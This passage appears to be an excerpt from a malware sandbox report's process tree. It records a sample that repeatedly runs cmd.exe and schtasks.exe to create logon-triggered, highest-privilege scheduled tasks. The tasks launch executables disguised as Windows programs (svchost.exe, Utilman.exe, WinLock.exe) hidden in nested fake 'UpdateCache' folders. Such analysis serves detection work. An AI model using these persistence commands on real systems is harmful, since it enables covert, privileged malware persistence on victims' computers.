  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_13" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8528
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_13" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:15936
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6824
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16092
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttunesvr_15" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11416
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttunesvr_15" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14984
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_proquota_16" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\proquota.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:14108
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_proquota_16" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\proquota.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5204
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_esentutl_17" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\esentutl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_esentutl_17" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\esentutl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:15560
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesRemote_18" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4588
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesRemote_18" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4600
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:16228
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15140
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_20" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_20" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:636
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sfc_21" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\UpdateCache\sfc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sfc_21" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\UpdateCache\sfc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7188
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpupdate_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13928
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaUacHelper_23" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\RdpSaUacHelper.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13068
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaUacHelper_23" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\RdpSaUacHelper.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8336
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8128
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_notepad_25" /tr ""C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\UpdateCache\UpdateCache\notepad.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11796
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_notepad_25" /tr ""C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\UpdateCache\UpdateCache\notepad.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6300
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpresult_26" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\UpdateCache\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpresult_26" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\UpdateCache\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6080
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_27" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:12992
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_27" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:568
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_VC_redist.x64_28" /tr ""C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\UpdateCache\UpdateCache\VC_redist.x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_VC_redist.x64_28" /tr ""C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\UpdateCache\UpdateCache\VC_redist.x64.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3824
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12792
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_30" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15380
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_30" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6956
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_finger_31" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\finger.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_finger_31" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\finger.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10268
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Utilman_32" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Utilman_32" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8020
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRemove\Logs\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5256
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRemove\Logs\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2216
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ROUTE_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\ROUTE.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ROUTE_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\ROUTE.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8648
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_VC_redist.x64_3" /tr ""C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\UpdateCache\UpdateCache\UpdateCache\VC_redist.x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:13348
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_VC_redist.x64_3" /tr ""C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\UpdateCache\UpdateCache\UpdateCache\VC_redist.x64.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9724
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12368
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RpcPing_5" /tr ""C:\Users\Admin\AppData\Local\Temp\2339319777\Logs\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:9920
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RpcPing_5" /tr ""C:\Users\Admin\AppData\Local\Temp\2339319777\Logs\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sfc_6" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\UpdateCache\sfc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sfc_6" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\UpdateCache\sfc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10412
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_8" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_psr_8" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7356
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_help_10" /tr ""C:\Users\Admin\AppData\Local\Temp\{D3E48B24-D6DD-4AD8-9258-06C8D8BAB757}\Logs\UpdateCache\help.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_help_10" /tr ""C:\Users\Admin\AppData\Local\Temp\{D3E48B24-D6DD-4AD8-9258-06C8D8BAB757}\Logs\UpdateCache\help.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_11" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5092
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_11" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6576
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Utilman_12" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9184
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Utilman_12" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13172
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setx_13" /tr ""C:\ProgramData\MicrosoftService\setx.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10084
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:15696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setx_13" /tr ""C:\ProgramData\MicrosoftService\setx.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9496
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_15" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6336
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_15" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7360
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_proquota_16" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\proquota.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6092
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_proquota_16" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\proquota.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1196
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_17" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6428
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_17" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8868
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net_18" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5844
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net_18" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6832
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_20" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12748
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_20" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8832
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_21" /tr ""C:\Users\Admin\AppData\Roaming\UndoSave\Logs\UpdateCache\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11024
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_21" /tr ""C:\Users\Admin\AppData\Roaming\UndoSave\Logs\UpdateCache\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_22" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9412
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:14856
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_22" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16144
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_quickassist_23" /tr ""C:\ProgramData\SoftwareDistribution\Logs\quickassist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_quickassist_23" /tr ""C:\ProgramData\SoftwareDistribution\Logs\quickassist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:756
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5788
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchWinApp_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_LaunchWinApp_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15724
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dplaysvr_26" /tr ""C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\UpdateCache\dplaysvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5328
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dplaysvr_26" /tr ""C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\UpdateCache\dplaysvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8420
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_27" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_27" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9068
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedt32_28" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13048
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedt32_28" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5820
- - C:\Windows\SysWOW64\schtasks.exe
